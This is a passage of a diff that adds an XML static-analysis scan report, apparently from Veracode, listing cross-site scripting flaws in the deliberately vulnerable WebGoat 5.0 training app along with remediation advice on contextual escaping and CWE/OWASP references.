+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
